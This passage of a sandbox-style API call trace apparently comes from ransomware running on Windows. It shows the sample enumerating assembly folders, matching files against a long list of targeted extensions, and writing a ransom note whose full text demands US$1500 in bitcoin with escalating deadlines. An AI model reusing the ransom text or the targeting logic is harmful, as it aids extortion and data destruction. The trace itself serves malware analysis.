(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.gpg") returned 0 [0098.583] lstrlenA (lpString="*.gpg") returned 5 [0098.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.vsd") returned 0 [0098.583] lstrlenA (lpString="*.vsd") returned 5 [0098.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.odg") returned 0 [0098.583] lstrlenA (lpString="*.odg") returned 5 [0098.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.raw") returned 0 [0098.583] lstrlenA (lpString="*.raw") returned 5 [0098.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.nef") returned 0 [0098.583] lstrlenA (lpString="*.nef") returned 5 [0098.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.svg") returned 0 [0098.583] lstrlenA (lpString="*.svg") returned 5 [0098.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.psd") returned 0 [0098.583] lstrlenA (lpString="*.psd") returned 5 [0098.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.vmx") returned 0 [0098.583] lstrlenA (lpString="*.vmx") returned 5 [0098.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.vmdk") returned 0 [0098.583] lstrlenA (lpString="*.vmdk") returned 6 [0098.583] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.vdi") returned 0 [0098.583] lstrlenA (lpString="*.vdi") returned 5 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.lay6") returned 0 [0098.584] lstrlenA (lpString="*.lay6") returned 6 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.mpeg") returned 0 [0098.584] lstrlenA (lpString="*.mpeg") returned 6 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.djvu") returned 0 [0098.584] lstrlenA (lpString="*.djvu") returned 6 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.tiff") returned 0 [0098.584] lstrlenA (lpString="*.tiff") returned 6 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.backup") returned 0 [0098.584] lstrlenA (lpString="*.backup") returned 8 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.pdf") returned 0 [0098.584] lstrlenA (lpString="*.pdf") returned 5 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.cert") returned 0 [0098.584] lstrlenA (lpString="*.cert") returned 6 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.docm") returned 0 [0098.584] lstrlenA (lpString="*.docm") returned 6 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.xlsm") returned 0 [0098.584] lstrlenA (lpString="*.xlsm") returned 6 [0098.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.dwg") returned 0 [0098.584] lstrlenA (lpString="*.dwg") returned 5 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.nd") returned 0 [0098.585] lstrlenA (lpString="*.nd") returned 4 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.tlg") returned 0 [0098.585] lstrlenA (lpString="*.tlg") returned 5 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.lgb") returned 0 [0098.585] lstrlenA (lpString="*.lgb") returned 5 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.mov") returned 0 [0098.585] lstrlenA (lpString="*.mov") returned 5 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.xdw") returned 0 [0098.585] lstrlenA (lpString="*.xdw") returned 5 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.ods") returned 0 [0098.585] lstrlenA (lpString="*.ods") returned 5 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.wav") returned 0 [0098.585] lstrlenA (lpString="*.wav") returned 5 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.mp3") returned 0 [0098.585] lstrlenA (lpString="*.mp3") returned 5 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.aiff") returned 0 [0098.585] lstrlenA (lpString="*.aiff") returned 6 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.flac") returned 0 [0098.585] lstrlenA (lpString="*.flac") returned 6 [0098.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.m4a") returned 0 [0098.586] lstrlenA (lpString="*.m4a") returned 5 [0098.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.csv") returned 0 [0098.586] lstrlenA (lpString="*.csv") returned 5 [0098.592] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd31cb620, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd31cb620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd31cb620, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f3c0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.592] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.592] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd31cb620, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd31cb620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd31cb620, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0098.592] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.593] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2dea570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2dea570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2dea570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x746e656d, dwReserved1=0x3031762e, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0", cAlternateFileName="MIBCA8~1.0")) returned 1 [0098.593] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0") returned -1 [0098.593] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0") returned -1 [0098.595] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.595] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2dea570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2dea570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2dea570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.595] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.595] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.595] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a2b24b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a2b24b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a2b24b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0098.595] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.595] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.596] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.596] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a2b24b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a2b24b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a2b24b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.596] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.596] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.596] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a2b24b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a2b24b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a2d8610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.598] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="" [0098.598] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0098.598] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.applications.serverdocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0098.598] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.applications.serverdocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0098.615] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0098.615] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0098.649] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.651] CloseHandle (hObject=0x90) returned 1 [0098.651] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll" [0098.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.ems") returned 0 [0098.651] lstrlenA (lpString="*.ems") returned 5 [0098.651] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.db") returned 0 [0098.653] lstrlenA (lpString="*.db") returned 4 [0098.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.dbf") returned 0 [0098.653] lstrlenA (lpString="*.dbf") returned 5 [0098.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.myox") returned 0 [0098.653] lstrlenA (lpString="*.myox") returned 6 [0098.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.myo") returned 0 [0098.653] lstrlenA (lpString="*.myo") returned 5 [0098.653] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.qbw") returned 0 [0098.654] lstrlenA (lpString="*.qbw") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.qbb") returned 0 [0098.654] lstrlenA (lpString="*.qbb") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.qbm") returned 0 [0098.654] lstrlenA (lpString="*.qbm") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.qbo") returned 0 [0098.654] lstrlenA (lpString="*.qbo") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.qbx") returned 0 [0098.654] lstrlenA (lpString="*.qbx") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.qba") returned 0 [0098.654] lstrlenA (lpString="*.qba") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.qby") returned 0 [0098.654] lstrlenA (lpString="*.qby") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.qbj") returned 0 [0098.654] lstrlenA (lpString="*.qbj") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.ofx") returned 0 [0098.654] lstrlenA (lpString="*.ofx") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.qif") returned 0 [0098.654] lstrlenA (lpString="*.qif") returned 5 [0098.654] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.mye") returned 0 [0098.655] lstrlenA (lpString="*.mye") returned 5 [0098.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.mbox") returned 0 [0098.655] lstrlenA (lpString="*.mbox") returned 6 [0098.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.eml") returned 0 [0098.655] lstrlenA (lpString="*.eml") returned 5 [0098.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.pst") returned 0 [0098.655] lstrlenA (lpString="*.pst") returned 5 [0098.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.ost") returned 0 [0098.655] lstrlenA (lpString="*.ost") returned 5 [0098.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.idx") returned 0 [0098.655] lstrlenA (lpString="*.idx") returned 5 [0098.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.dbx") returned 0 [0098.655] lstrlenA (lpString="*.dbx") returned 5 [0098.655] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.dll", pszSpec="*.sql") returned 0 [0098.655] lstrlenA (lpString="*.sql") returned 5 [0098.655] PathMatchSpecA 